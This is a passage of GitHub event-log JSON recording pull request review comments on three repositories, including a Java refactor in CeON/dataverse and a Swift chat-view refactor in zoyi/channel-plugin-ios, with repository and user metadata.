zers_url":"https://api.github.com/repos/cirope/mawidabp/stargazers","contributors_url":"https://api.github.com/repos/cirope/mawidabp/contributors","subscribers_url":"https://api.github.com/repos/cirope/mawidabp/subscribers","subscription_url":"https://api.github.com/repos/cirope/mawidabp/subscription","commits_url":"https://api.github.com/repos/cirope/mawidabp/commits{/sha}","git_commits_url":"https://api.github.com/repos/cirope/mawidabp/git/commits{/sha}","comments_url":"https://api.github.com/repos/cirope/mawidabp/comments{/number}","issue_comment_url":"https://api.github.com/repos/cirope/mawidabp/issues/comments{/number}","contents_url":"https://api.github.com/repos/cirope/mawidabp/contents/{+path}","compare_url":"https://api.github.com/repos/cirope/mawidabp/compare/{base}...{head}","merges_url":"https://api.github.com/repos/cirope/mawidabp/merges","archive_url":"https://api.github.com/repos/cirope/mawidabp/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/cirope/mawidabp/downloads","issues_url":"https://api.github.com/repos/cirope/mawidabp/issues{/number}","pulls_url":"https://api.github.com/repos/cirope/mawidabp/pulls{/number}","milestones_url":"https://api.github.com/repos/cirope/mawidabp/milestones{/number}","notifications_url":"https://api.github.com/repos/cirope/mawidabp/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/cirope/mawidabp/labels{/name}","releases_url":"https://api.github.com/repos/cirope/mawidabp/releases{/id}","deployments_url":"https://api.github.com/repos/cirope/mawidabp/deployments","created_at":"2011-01-19T17:09:32Z","updated_at":"2019-10-24T13:13:17Z","pushed_at":"2019-10-24T13:20:35Z","git_url":"git://github.com/cirope/mawidabp.git","ssh_url":"git@github.com:cirope/mawidabp.git","clone_url":"https://github.com/cirope/mawidabp.git","svn_url":"https://github.com/cirope/mawidabp","homepage":"","size":18283,"stargazers_count":1,"watchers_count":1,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":14,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":0,"open_issues":14,"watchers":1,"default_branch":"master"}},"base":{"label":"cirope:master","ref":"master","sha":"dec2e8516e859e0bb6683c404e1c25c6a556844d","user":{"login":"cirope","id":2007113,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIwMDcxMTM=","avatar_url":"https://avatars2.githubusercontent.com/u/2007113?v=4","gravatar_id":"","url":"https://api.github.com/users/cirope","html_url":"https://github.com/cirope","followers_url":"https://api.github.com/users/cirope/followers","following_url":"https://api.github.com/users/cirope/following{/other_user}","gists_url":"https://api.github.com/users/cirope/gists{/gist_id}","starred_url":"https://api.github.com/users/cirope/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cirope/subscriptions","organizations_url":"https://api.github.com/users/cirope/orgs","repos_url":"https://api.github.com/users/cirope/repos","events_url":"https://api.github.com/users/cirope/events{/privacy}","received_events_url":"https://api.github.com/users/cirope/received_events","type":"Organization","site_admin":false},"repo":{"id":1271571,"node_id":"MDEwOlJlcG9zaXRvcnkxMjcxNTcx","name":"mawidabp","full_name":"cirope/mawidabp","private":false,"owner":{"login":"cirope","id":2007113,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIwMDcxMTM=","avatar_url":"https://avatars2.githubusercontent.com/u/2007113?v=4","gravatar_id":"","url":"https://api.github.com/users/cirope","html_url":"https://github.com/cirope","followers_url":"https://api.github.com/users/cirope/followers","following_url":"https://api.github.com/users/cirope/following{/other_user}","gists_url":"https://api.github.com/users/cirope/gists{/gist_id}","starred_url":"https://api.github.com/users/cirope/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cirope/subscriptions","organizations_url":"https://api.github.com/users/cirope/orgs","repos_url":"https://api.github.com/users/cirope/repos","events_url":"https://api.github.com/users/cirope/events{/privacy}","received_events_url":"https://api.github.com/users/cirope/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/cirope/mawidabp","description":"Audit asistant web application","fork":false,"url":"https://api.github.com/repos/cirope/mawidabp","forks_url":"https://api.github.com/repos/cirope/mawidabp/forks","keys_url":"https://api.github.com/repos/cirope/mawidabp/keys{/key_id}","collaborators_url":"https://api.github.com/repos/cirope/mawidabp/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/cirope/mawidabp/teams","hooks_url":"https://api.github.com/repos/cirope/mawidabp/hooks","issue_events_url":"https://api.github.com/repos/cirope/mawidabp/issues/events{/number}","events_url":"https://api.github.com/repos/cirope/mawidabp/events","assignees_url":"https://api.github.com/repos/cirope/mawidabp/assignees{/user}","branches_url":"https://api.github.com/repos/cirope/mawidabp/branches{/branch}","tags_url":"https://api.github.com/repos/cirope/mawidabp/tags","blobs_url":"https://api.github.com/repos/cirope/mawidabp/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/cirope/mawidabp/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/cirope/mawidabp/git/refs{/sha}","trees_url":"https://api.github.com/repos/cirope/mawidabp/git/trees{/sha}","statuses_url":"https://api.github.com/repos/cirope/mawidabp/statuses/{sha}","languages_url":"https://api.github.com/repos/cirope/mawidabp/languages","stargazers_url":"https://api.github.com/repos/cirope/mawidabp/stargazers","contributors_url":"https://api.github.com/repos/cirope/mawidabp/contributors","subscribers_url":"https://api.github.com/repos/cirope/mawidabp/subscribers","subscription_url":"https://api.github.com/repos/cirope/mawidabp/subscription","commits_url":"https://api.github.com/repos/cirope/mawidabp/commits{/sha}","git_commits_url":"https://api.github.com/repos/cirope/mawidabp/git/commits{/sha}","comments_url":"https://api.github.com/repos/cirope/mawidabp/comments{/number}","issue_comment_url":"https://api.github.com/repos/cirope/mawidabp/issues/comments{/number}","contents_url":"https://api.github.com/repos/cirope/mawidabp/contents/{+path}","compare_url":"https://api.github.com/repos/cirope/mawidabp/compare/{base}...{head}","merges_url":"https://api.github.com/repos/cirope/mawidabp/merges","archive_url":"https://api.github.com/repos/cirope/mawidabp/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/cirope/mawidabp/downloads","issues_url":"https://api.github.com/repos/cirope/mawidabp/issues{/number}","pulls_url":"https://api.github.com/repos/cirope/mawidabp/pulls{/number}","milestones_url":"https://api.github.com/repos/cirope/mawidabp/milestones{/number}","notifications_url":"https://api.github.com/repos/cirope/mawidabp/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/cirope/mawidabp/labels{/name}","releases_url":"https://api.github.com/repos/cirope/mawidabp/releases{/id}","deployments_url":"https://api.github.com/repos/cirope/mawidabp/deployments","created_at":"2011-01-19T17:09:32Z","updated_at":"2019-10-24T13:13:17Z","pushed_at":"2019-10-24T13:20:35Z","git_url":"git://github.com/cirope/mawidabp.git","ssh_url":"git@github.com:cirope/mawidabp.git","clone_url":"https://github.com/cirope/mawidabp.git","svn_url":"https://github.com/cirope/mawidabp","homepage":"","size":18283,"stargazers_count":1,"watchers_count":1,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":14,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":0,"open_issues":14,"watchers":1,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/cirope/mawidabp/pulls/112"},"html":{"href":"https://github.com/cirope/mawidabp/pull/112"},"issue":{"href":"https://api.github.com/repos/cirope/mawidabp/issues/112"},"comments":{"href":"https://api.github.com/repos/cirope/mawidabp/issues/112/comments"},"review_comments":{"href":"https://api.github.com/repos/cirope/mawidabp/pulls/112/comments"},"review_comment":{"href":"https://api.github.com/repos/cirope/mawidabp/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/cirope/mawidabp/pulls/112/commits"},"statuses":{"href":"https://api.github.com/repos/cirope/mawidabp/statuses/2bb4cf759a65e6680c0e0252487bb74cf1e205cb"}},"author_association":"COLLABORATOR"}}
|
{
"id": 1271571,
"name": "cirope/mawidabp",
"url": "https://api.github.com/repos/cirope/mawidabp"
}
|
{
"id": 85371,
"login": "francocatena",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/85371?",
"url": "https://api.github.com/users/francocatena"
}
|
{
"id": 2007113,
"login": "cirope",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2007113?",
"url": "https://api.github.com/orgs/cirope"
}
| 2019-10-24T13:26:13 |
10705324315
|
{"actor":{"display_login":"francocatena"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/CeON/dataverse/pulls/comments/310071002","pull_request_review_id":270098593,"id":310071002,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMxMDA3MTAwMg==","diff_hunk":"@@ -392,18 +310,9 @@ public boolean isEditable() {\n return true;\n }\n \n- @Override\n- public ExplicitGroupProvider getGroupProvider() {\n- return provider;\n- }\n-\n- void setProvider(ExplicitGroupProvider c) {\n- provider = c;\n- }\n-\n @Override\n public String getIdentifier() {\n- return Group.IDENTIFIER_PREFIX + provider.getGroupProviderAlias()\n+ return Group.IDENTIFIER_PREFIX + GROUP_TYPE","path":"dataverse-webapp/src/main/java/edu/harvard/iq/dataverse/authorization/groups/impl/explicit/ExplicitGroup.java","position":173,"original_position":173,"commit_id":"f8bda555ccbe7eac061c9f0dc4d2ccb3f6f589e9","original_commit_id":"f8bda555ccbe7eac061c9f0dc4d2ccb3f6f589e9","user":{"login":"madryk","id":8190961,"node_id":"MDQ6VXNlcjgxOTA5NjE=","avatar_url":"https://avatars1.githubusercontent.com/u/8190961?v=4","gravatar_id":"","url":"https://api.github.com/users/madryk","html_url":"https://github.com/madryk","followers_url":"https://api.github.com/users/madryk/followers","following_url":"https://api.github.com/users/madryk/following{/other_user}","gists_url":"https://api.github.com/users/madryk/gists{/gist_id}","starred_url":"https://api.github.com/users/madryk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/madryk/subscriptions","organizations_url":"https://api.github.com/users/madryk/orgs","repos_url":"https://api.github.com/users/madryk/repos","events_url":"https://api.github.com/users/madryk/events{/privacy}","received_events_url":"https://api.github.com/users/madryk/received_events","type":"User","site_admin":false},"body":"I've added toLoweCase only in AllUsers and AuthenticatedUsers `getAlias` method. I've removed toLowerCase for them.","created_at":"2019-08-02T10:16:25Z","updated_at":"2019-08-02T10:16:25Z","html_url":"https://github.com/CeON/dataverse/pull/269#discussion_r310071002","pull_request_url":"https://api.github.com/repos/CeON/dataverse/pulls/269","author_association":"COLLABORATOR","_links":{"self":{"href":"https://api.github.com/repos/CeON/dataverse/pulls/comments/310071002"},"html":{"href":"https://github.com/CeON/dataverse/pull/269#discussion_r310071002"},"pull_request":{"href":"https://api.github.com/repos/CeON/dataverse/pulls/269"}},"in_reply_to_id":309564032},"pull_request":{"url":"https://api.github.com/repos/CeON/dataverse/pulls/269","id":302457852,"node_id":"MDExOlB1bGxSZXF1ZXN0MzAyNDU3ODUy","html_url":"https://github.com/CeON/dataverse/pull/269","diff_url":"https://github.com/CeON/dataverse/pull/269.diff","patch_url":"https://github.com/CeON/dataverse/pull/269.patch","issue_url":"https://api.github.com/repos/CeON/dataverse/issues/269","number":269,"state":"open","locked":false,"title":"Closes #268: Move group provider references outside group entities","user":{"login":"madryk","id":8190961,"node_id":"MDQ6VXNlcjgxOTA5NjE=","avatar_url":"https://avatars1.githubusercontent.com/u/8190961?v=4","gravatar_id":"","url":"https://api.github.com/users/madryk","html_url":"https://github.com/madryk","followers_url":"https://api.github.com/users/madryk/followers","following_url":"https://api.github.com/users/madryk/following{/other_user}","gists_url":"https://api.github.com/users/madryk/gists{/gist_id}","starred_url":"https://api.github.com/users/madryk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/madryk/subscriptions","organizations_url":"https://api.github.com/users/madryk/orgs","repos_url":"https://api.github.com/users/madryk/repos","events_url":"https://api.github.com/users/madryk/events{/privacy}","received_events_url":"https://api.github.com/users/madryk/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-07-30T11:38:54Z","updated_at":"2019-08-02T10:16:25Z","closed_at":null,"merged_at":null,"merge_commit_sha":"efde0c41ac1ee13a7667e200fa58e77fdb98d2c8","assignee":{"login":"madryk","id":8190961,"node_id":"MDQ6VXNlcjgxOTA5NjE=","avatar_url":"https://avatars1.githubusercontent.com/u/8190961?v=4","gravatar_id":"","url":"https://api.github.com/users/madryk","html_url":"https://github.com/madryk","followers_url":"https://api.github.com/users/madryk/followers","following_url":"https://api.github.com/users/madryk/following{/other_user}","gists_url":"https://api.github.com/users/madryk/gists{/gist_id}","starred_url":"https://api.github.com/users/madryk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/madryk/subscriptions","organizations_url":"https://api.github.com/users/madryk/orgs","repos_url":"https://api.github.com/users/madryk/repos","events_url":"https://api.github.com/users/madryk/events{/privacy}","received_events_url":"https://api.github.com/users/madryk/received_events","type":"User","site_admin":false},"assignees":[{"login":"madryk","id":8190961,"node_id":"MDQ6VXNlcjgxOTA5NjE=","avatar_url":"https://avatars1.githubusercontent.com/u/8190961?v=4","gravatar_id":"","url":"https://api.github.com/users/madryk","html_url":"https://github.com/madryk","followers_url":"https://api.github.com/users/madryk/followers","following_url":"https://api.github.com/users/madryk/following{/other_user}","gists_url":"https://api.github.com/users/madryk/gists{/gist_id}","starred_url":"https://api.github.com/users/madryk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/madryk/subscriptions","organizations_url":"https://api.github.com/users/madryk/orgs","repos_url":"https://api.github.com/users/madryk/repos","events_url":"https://api.github.com/users/madryk/events{/privacy}","received_events_url":"https://api.github.com/users/madryk/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/CeON/dataverse/pulls/269/commits","review_comments_url":"https://api.github.com/repos/CeON/dataverse/pulls/269/comments","review_comment_url":"https://api.github.com/repos/CeON/dataverse/pulls/comments{/number}","comments_url":"https://api.github.com/repos/CeON/dataverse/issues/269/comments","statuses_url":"https://api.github.com/repos/CeON/dataverse/statuses/f8bda555ccbe7eac061c9f0dc4d2ccb3f6f589e9","head":{"label":"CeON:madryk_268_move_group_provider","ref":"madryk_268_move_group_provider","sha":"f8bda555ccbe7eac061c9f0dc4d2ccb3f6f589e9","user":{"login":"CeON","id":2034254,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIwMzQyNTQ=","avatar_url":"https://avatars3.githubusercontent.com/u/2034254?v=4","gravatar_id":"","url":"https://api.github.com/users/CeON","html_url":"https://github.com/CeON","followers_url":"https://api.github.com/users/CeON/followers","following_url":"https://api.github.com/users/CeON/following{/other_user}","gists_url":"https://api.github.com/users/CeON/gists{/gist_id}","starred_url":"https://api.github.com/users/CeON/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CeON/subscriptions","organizations_url":"https://api.github.com/users/CeON/orgs","repos_url":"https://api.github.com/users/CeON/repos","events_url":"https://api.github.com/users/CeON/events{/privacy}","received_events_url":"https://api.github.com/users/CeON/received_events","type":"Organization","site_admin":false},"repo":{"id":160691081,"node_id":"MDEwOlJlcG9zaXRvcnkxNjA2OTEwODE=","name":"dataverse","full_name":"CeON/dataverse","private":false,"owner":{"login":"CeON","id":2034254,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIwMzQyNTQ=","avatar_url":"https://avatars3.githubusercontent.com/u/2034254?v=4","gravatar_id":"","url":"https://api.github.com/users/CeON","html_url":"https://github.com/CeON","followers_url":"https://api.github.com/users/CeON/followers","following_url":"https://api.github.com/users/CeON/following{/other_user}","gists_url":"https://api.github.com/users/CeON/gists{/gist_id}","starred_url":"https://api.github.com/users/CeON/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CeON/subscriptions","organizations_url":"https://api.github.com/users/CeON/orgs","repos_url":"https://api.github.com/users/CeON/repos","events_url":"https://api.github.com/users/CeON/events{/privacy}","received_events_url":"https://api.github.com/users/CeON/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/CeON/dataverse","description":"Open source research data repository software","fork":true,"url":"https://api.github.com/repos/CeON/dataverse","forks_url":"https://api.github.com/repos/CeON/dataverse/forks","keys_url":"https://api.github.com/repos/CeON/dataverse/keys{/key_id}","collaborators_url":"https://api.github.com/repos/CeON/dataverse/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/CeON/dataverse/teams","hooks_url":"https://api.github.com/repos/CeON/dataverse/hooks","issue_events_url":"https://api.github.com/repos/CeON/dataverse/issues/events{/number}","events_url":"https://api.github.com/repos/CeON/dataverse/events","assignees_url":"https://api.github.com/repos/CeON/dataverse/assignees{/user}","branches_url":"https://api.github.com/repos/CeON/dataverse/branches{/branch}","tags_url":"https://api.github.com/repos/CeON/dataverse/tags","blobs_url":"https://api.github.com/repos/CeON/dataverse/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/CeON/dataverse/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/CeON/dataverse/git/refs{/sha}","trees_url":"https://api.github.com/repos/CeON/dataverse/git/trees{/sha}","statuses_url":"https://api.github.com/repos/CeON/dataverse/statuses/{sha}","languages_url":"https://api.github.com/repos/CeON/dataverse/languages","stargazers_url":"https://api.github.com/repos/CeON/dataverse/stargazers","contributors_url":"https://api.github.com/repos/CeON/dataverse/contributors","subscribers_url":"https://api.github.com/repos/CeON/dataverse/subscribers","subscription_url":"https://api.github.com/repos/CeON/dataverse/subscription","commits_url":"https://api.github.com/repos/CeON/dataverse/commits{/sha}","git_commits_url":"https://api.github.com/repos/CeON/dataverse/git/commits{/sha}","comments_url":"https://api.github.com/repos/CeON/dataverse/comments{/number}","issue_comment_url":"https://api.github.com/repos/CeON/dataverse/issues/comments{/number}","contents_url":"https://api.github.com/repos/CeON/dataverse/contents/{+path}","compare_url":"https://api.github.com/repos/CeON/dataverse/compare/{base}...{head}","merges_url":"https://api.github.com/repos/CeON/dataverse/merges","archive_url":"https://api.github.com/repos/CeON/dataverse/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/CeON/dataverse/downloads","issues_url":"https://api.github.com/repos/CeON/dataverse/issues{/number}","pulls_url":"https://api.github.com/repos/CeON/dataverse/pulls{/number}","milestones_url":"https://api.github.com/repos/CeON/dataverse/milestones{/number}","notifications_url":"https://api.github.com/repos/CeON/dataverse/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/CeON/dataverse/labels{/name}","releases_url":"https://api.github.com/repos/CeON/dataverse/releases{/id}","deployments_url":"https://api.github.com/repos/CeON/dataverse/deployments","created_at":"2018-12-06T15:05:02Z","updated_at":"2019-08-02T08:08:15Z","pushed_at":"2019-08-02T08:08:12Z","git_url":"git://github.com/CeON/dataverse.git","ssh_url":"git@github.com:CeON/dataverse.git","clone_url":"https://github.com/CeON/dataverse.git","svn_url":"https://github.com/CeON/dataverse","homepage":"http://dataverse.org","size":78952,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":32,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":32,"watchers":0,"default_branch":"develop"}},"base":{"label":"CeON:develop","ref":"develop","sha":"a00eb938f64d0eb63adef97fc7fd4bcb0ec6808c","user":{"login":"CeON","id":2034254,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIwMzQyNTQ=","avatar_url":"https://avatars3.githubusercontent.com/u/2034254?v=4","gravatar_id":"","url":"https://api.github.com/users/CeON","html_url":"https://github.com/CeON","followers_url":"https://api.github.com/users/CeON/followers","following_url":"https://api.github.com/users/CeON/following{/other_user}","gists_url":"https://api.github.com/users/CeON/gists{/gist_id}","starred_url":"https://api.github.com/users/CeON/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CeON/subscriptions","organizations_url":"https://api.github.com/users/CeON/orgs","repos_url":"https://api.github.com/users/CeON/repos","events_url":"https://api.github.com/users/CeON/events{/privacy}","received_events_url":"https://api.github.com/users/CeON/received_events","type":"Organization","site_admin":false},"repo":{"id":160691081,"node_id":"MDEwOlJlcG9zaXRvcnkxNjA2OTEwODE=","name":"dataverse","full_name":"CeON/dataverse","private":false,"owner":{"login":"CeON","id":2034254,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIwMzQyNTQ=","avatar_url":"https://avatars3.githubusercontent.com/u/2034254?v=4","gravatar_id":"","url":"https://api.github.com/users/CeON","html_url":"https://github.com/CeON","followers_url":"https://api.github.com/users/CeON/followers","following_url":"https://api.github.com/users/CeON/following{/other_user}","gists_url":"https://api.github.com/users/CeON/gists{/gist_id}","starred_url":"https://api.github.com/users/CeON/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CeON/subscriptions","organizations_url":"https://api.github.com/users/CeON/orgs","repos_url":"https://api.github.com/users/CeON/repos","events_url":"https://api.github.com/users/CeON/events{/privacy}","received_events_url":"https://api.github.com/users/CeON/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/CeON/dataverse","description":"Open source research data repository software","fork":true,"url":"https://api.github.com/repos/CeON/dataverse","forks_url":"https://api.github.com/repos/CeON/dataverse/forks","keys_url":"https://api.github.com/repos/CeON/dataverse/keys{/key_id}","collaborators_url":"https://api.github.com/repos/CeON/dataverse/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/CeON/dataverse/teams","hooks_url":"https://api.github.com/repos/CeON/dataverse/hooks","issue_events_url":"https://api.github.com/repos/CeON/dataverse/issues/events{/number}","events_url":"https://api.github.com/repos/CeON/dataverse/events","assignees_url":"https://api.github.com/repos/CeON/dataverse/assignees{/user}","branches_url":"https://api.github.com/repos/CeON/dataverse/branches{/branch}","tags_url":"https://api.github.com/repos/CeON/dataverse/tags","blobs_url":"https://api.github.com/repos/CeON/dataverse/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/CeON/dataverse/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/CeON/dataverse/git/refs{/sha}","trees_url":"https://api.github.com/repos/CeON/dataverse/git/trees{/sha}","statuses_url":"https://api.github.com/repos/CeON/dataverse/statuses/{sha}","languages_url":"https://api.github.com/repos/CeON/dataverse/languages","stargazers_url":"https://api.github.com/repos/CeON/dataverse/stargazers","contributors_url":"https://api.github.com/repos/CeON/dataverse/contributors","subscribers_url":"https://api.github.com/repos/CeON/dataverse/subscribers","subscription_url":"https://api.github.com/repos/CeON/dataverse/subscription","commits_url":"https://api.github.com/repos/CeON/dataverse/commits{/sha}","git_commits_url":"https://api.github.com/repos/CeON/dataverse/git/commits{/sha}","comments_url":"https://api.github.com/repos/CeON/dataverse/comments{/number}","issue_comment_url":"https://api.github.com/repos/CeON/dataverse/issues/comments{/number}","contents_url":"https://api.github.com/repos/CeON/dataverse/contents/{+path}","compare_url":"https://api.github.com/repos/CeON/dataverse/compare/{base}...{head}","merges_url":"https://api.github.com/repos/CeON/dataverse/merges","archive_url":"https://api.github.com/repos/CeON/dataverse/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/CeON/dataverse/downloads","issues_url":"https://api.github.com/repos/CeON/dataverse/issues{/number}","pulls_url":"https://api.github.com/repos/CeON/dataverse/pulls{/number}","milestones_url":"https://api.github.com/repos/CeON/dataverse/milestones{/number}","notifications_url":"https://api.github.com/repos/CeON/dataverse/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/CeON/dataverse/labels{/name}","releases_url":"https://api.github.com/repos/CeON/dataverse/releases{/id}","deployments_url":"https://api.github.com/repos/CeON/dataverse/deployments","created_at":"2018-12-06T15:05:02Z","updated_at":"2019-08-02T08:08:15Z","pushed_at":"2019-08-02T08:08:12Z","git_url":"git://github.com/CeON/dataverse.git","ssh_url":"git@github.com:CeON/dataverse.git","clone_url":"https://github.com/CeON/dataverse.git","svn_url":"https://github.com/CeON/dataverse","homepage":"http://dataverse.org","size":78952,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":32,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":32,"watchers":0,"default_branch":"develop"}},"_links":{"self":{"href":"https://api.github.com/repos/CeON/dataverse/pulls/269"},"html":{"href":"https://github.com/CeON/dataverse/pull/269"},"issue":{"href":"https://api.github.com/repos/CeON/dataverse/issues/269"},"comments":{"href":"https://api.github.com/repos/CeON/dataverse/issues/269/comments"},"review_comments":{"href":"https://api.github.com/repos/CeON/dataverse/pulls/269/comments"},"review_comment":{"href":"https://api.github.com/repos/CeON/dataverse/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/CeON/dataverse/pulls/269/commits"},"statuses":{"href":"https://api.github.com/repos/CeON/dataverse/statuses/f8bda555ccbe7eac061c9f0dc4d2ccb3f6f589e9"}},"author_association":"COLLABORATOR"}}
|
{
"id": 160691081,
"name": "CeON/dataverse",
"url": "https://api.github.com/repos/CeON/dataverse"
}
|
{
"id": 8190961,
"login": "madryk",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/8190961?",
"url": "https://api.github.com/users/madryk"
}
|
{
"id": 2034254,
"login": "CeON",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2034254?",
"url": "https://api.github.com/orgs/CeON"
}
| 2019-08-02T10:16:25 |
10135491548
|
{"actor":{"display_login":"madryk"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/zoyi/channel-plugin-ios/pulls/comments/347271140","pull_request_review_id":318147998,"id":347271140,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM0NzI3MTE0MA==","diff_hunk":"@@ -275,14 +470,82 @@ extension UserChatView {\n }\n }\n \n+extension UserChatView {\n+ func display(userChat: CHUserChat?) {\n+ self.channel = mainStore.state.channel","path":"ChannelIO/Source/VIPER/UserChat/UserChatView.swift","position":648,"original_position":648,"commit_id":"c3e08ffcc001425830c526c0005b33bb38bc1ebb","original_commit_id":"c3e08ffcc001425830c526c0005b33bb38bc1ebb","user":{"login":"intoxicated","id":848531,"node_id":"MDQ6VXNlcjg0ODUzMQ==","avatar_url":"https://avatars3.githubusercontent.com/u/848531?v=4","gravatar_id":"","url":"https://api.github.com/users/intoxicated","html_url":"https://github.com/intoxicated","followers_url":"https://api.github.com/users/intoxicated/followers","following_url":"https://api.github.com/users/intoxicated/following{/other_user}","gists_url":"https://api.github.com/users/intoxicated/gists{/gist_id}","starred_url":"https://api.github.com/users/intoxicated/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/intoxicated/subscriptions","organizations_url":"https://api.github.com/users/intoxicated/orgs","repos_url":"https://api.github.com/users/intoxicated/repos","events_url":"https://api.github.com/users/intoxicated/events{/privacy}","received_events_url":"https://api.github.com/users/intoxicated/received_events","type":"User","site_admin":false},"body":"여기서 바로 스토어 접근하는 이유가?","created_at":"2019-11-18T09:26:34Z","updated_at":"2019-11-18T09:32:38Z","html_url":"https://github.com/zoyi/channel-plugin-ios/pull/36#discussion_r347271140","pull_request_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/pulls/36","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/zoyi/channel-plugin-ios/pulls/comments/347271140"},"html":{"href":"https://github.com/zoyi/channel-plugin-ios/pull/36#discussion_r347271140"},"pull_request":{"href":"https://api.github.com/repos/zoyi/channel-plugin-ios/pulls/36"}}},"pull_request":{"url":"https://api.github.com/repos/zoyi/channel-plugin-ios/pulls/36","id":339137973,"node_id":"MDExOlB1bGxSZXF1ZXN0MzM5MTM3OTcz","html_url":"https://github.com/zoyi/channel-plugin-ios/pull/36","diff_url":"https://github.com/zoyi/channel-plugin-ios/pull/36.diff","patch_url":"https://github.com/zoyi/channel-plugin-ios/pull/36.patch","issue_url":"https://api.github.com/repos/zoyi/channel-plugin-ios/issues/36","number":36,"state":"open","locked":false,"title":"userchat refactoring","user":{"login":"jam0128","id":52900717,"node_id":"MDQ6VXNlcjUyOTAwNzE3","avatar_url":"https://avatars0.githubusercontent.com/u/52900717?v=4","gravatar_id":"","url":"https://api.github.com/users/jam0128","html_url":"https://github.com/jam0128","followers_url":"https://api.github.com/users/jam0128/followers","following_url":"https://api.github.com/users/jam0128/following{/other_user}","gists_url":"https://api.github.com/users/jam0128/gists{/gist_id}","starred_url":"https://api.github.com/users/jam0128/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jam0128/subscriptions","organizations_url":"https://api.github.com/users/jam0128/orgs","repos_url":"https://api.github.com/users/jam0128/repos","events_url":"https://api.github.com/users/jam0128/events{/privacy}","received_events_url":"https://api.github.com/users/jam0128/received_events","type":"User","site_admin":false},"body":"- chatmanager쪽 안쓰는 코드 정리해야함\r\n- ios13 pagesheet swipe down dismiss 처리해야함\r\n- 전송버튼 , 클립버튼 영역이 작아서 줘야함\r\n- 인풋창 숨겨져있을때 영역이 남아서 흰부분이 스크롤시 